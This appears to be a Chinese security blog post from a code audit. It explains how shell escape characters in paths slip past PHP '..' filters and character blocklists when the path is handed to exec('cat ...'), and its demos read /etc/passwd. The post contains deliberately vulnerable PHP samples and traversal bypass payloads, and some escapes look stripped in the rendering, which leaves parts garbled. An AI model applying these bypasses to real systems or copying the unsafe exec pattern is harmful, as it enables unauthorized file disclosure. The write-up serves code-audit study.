zoukankan      html  css  js  c++  java
  • Linux下巧用转义符来完成多阶攻击

      也是前段时间代码审计:

      先上代码:

        

    if (!file_exists($fileName)){
                header("Content-type: text/html; charset=utf-8");
                echo "File not found!";
                exit;
            } else {
                $file = fopen($fileName, "r");
                Header("Content-type: application/octet-stream");
                Header("Accept-Ranges: bytes");
                Header("Accept-Length: ".filesize($fileName));
                Header("Content-Disposition: attachment; filename=" . $name);
                $content =  fread($file, filesize($fileName));
                fclose($file);
            }
            return $content;

      单单看代码很明显的任意文件下载,在代码的前面多了一行验证:

      

    if(!FileHelper::validatePath($name)) {
                return "";
            }

      真的是断了我们的路啊,进去看看:

        

    static function validatePath($file){
            $items = explode('..', $file);
            if(count($items) < 2) {
                return true;
            }
            return false;
        }

      分割..,目的很纯粹,害怕我们../读取到敏感数据

      看下他的$filename定义吧:

      

    $fileName = "/temp/" . $name;

      说明就是只希望我们读取/temp/目录下的文件,他的文件上传,都传到了/temp目录下:

       这时候你想去读取/etc/passwd根本不现实...

       这时候我在思考,../真的无懈可击吗?

      打开我的终端:

        一步一步来:

      正常查看数据:      

    cat /Users/Desktop/1.html

       查看/etc/passwd,跨目录读取需要使用../:

    cat /Users/Desktop/../../../etc/passwd

        如果不让我们../怎么办?

      巧用linux转义符号 

      

    .=.

      

    echo '  

     输出单引号,重新读取:

      增加转义符,再次读取:

    cat /Users/Desktop/../../../etc/passwd

    成功读取到/etc/passwd,这里继续,立马投入到fopen函数中:

      说干就干:

      

    <?php
    $filename="/Users/Desktop/../../../etc/passwd";
    $file = fopen($filename,"r");

      运行提示没找到文件: 

     

     而没有像终端一样执行了/etc/passwd,很显然,这里把/../认为是一个目录,而不是../:

    后续发现,所有文件操作都把/../认定为目录:

        写个demo:

        

    <?php
    $file="/Users/phptest/../../../../../etc/passwd"; //这是可控点
    if(!file_exists($file)){
        return "";
    }else{
            $command = "cat $file";
            exec($command,$array);
            print_r($array);    
        }

        其中:

    ../../../../../etc/passwd =../../../../../etc/passwd

      跨目录5次

       这里需要创建目录,否则走不了else: 

      二阶的条件:前置条件:可以自定义创建目录或者文件:

    mkdir -p /Users/phptest/.\./.\./.\./.\./.\./etc/passwd

        再次运行:

      

      因为调用了系统命令,最后../最后变成:

      

    /Users/phptest/../../../../../etc/passwd

      从而导致了文件读取成功了.

      问题所在:php/java认为..是一个目录

      终端命令执行:./=../,最终获取/etc/passwd

      

      一次利用:rce使用字符串函数过滤,而不是使用escapeshellarg和escapeshellcmd

      demo:

        

    <?php
    $file="/Applications/temp/";//假设这是可控点
    $arrw = array("`", "$", "-","..","||","|","&","&&");
    foreach ($arrw as $key => $value) {
        if(strstr($file,$value)){
            echo "不允许使用..和其他特殊字符串";
            return "";
        }
    }
    $cmd = "cat $file";
    var_dump($cmd);
    exec($cmd,$array);
    print_r($array);

      这里命令执行过滤了一些特殊字符串,尤其关照了../,如果你想读取,只能读取/temp/临时目录下的文件,不能跨目录,但是这里调用了系统命令:

      使用转义符绕过:

        修改demo:

        

    <?php
    $file="/Applications/temp/../../../../../etc/passwd";//假设这是可控点
    $arrw = array("`", "$", "-","..","||","|","&","&&");
    foreach ($arrw as $key => $value) {
        if(strstr($file,$value)){
            echo "不允许使用..和其他特殊字符串";
            return "";
        }
    }
    $cmd = "cat $file";
    var_dump($cmd);
    exec($cmd,$array);
    print_r($array);

      定义我们的$file为/../:

      再次运行代码,读取到/etc/passwd

        

      这个特性还是有很多利用空间的,希望以后代码审计能遇到多阶攻击      

            

        

  • 相关阅读:
    一位测友的真实面试题
    内部cms系统测试
    po模式
    描述器
    monkey命令
    进程管理工具supervisor
    webpack打包绝对路径引用资源和element ui字体图标不显示的解决办法
    pycharm flask debug调试接口
    应对ADT(Eclipse)的No more handles解决办法
    收集整理Android开发所需的Android SDK、开发中用到的工具、Android开发教程、Android设计规范,免费的设计素材等。
  • 原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14759239.html
Copyright © 2011-2022 走看看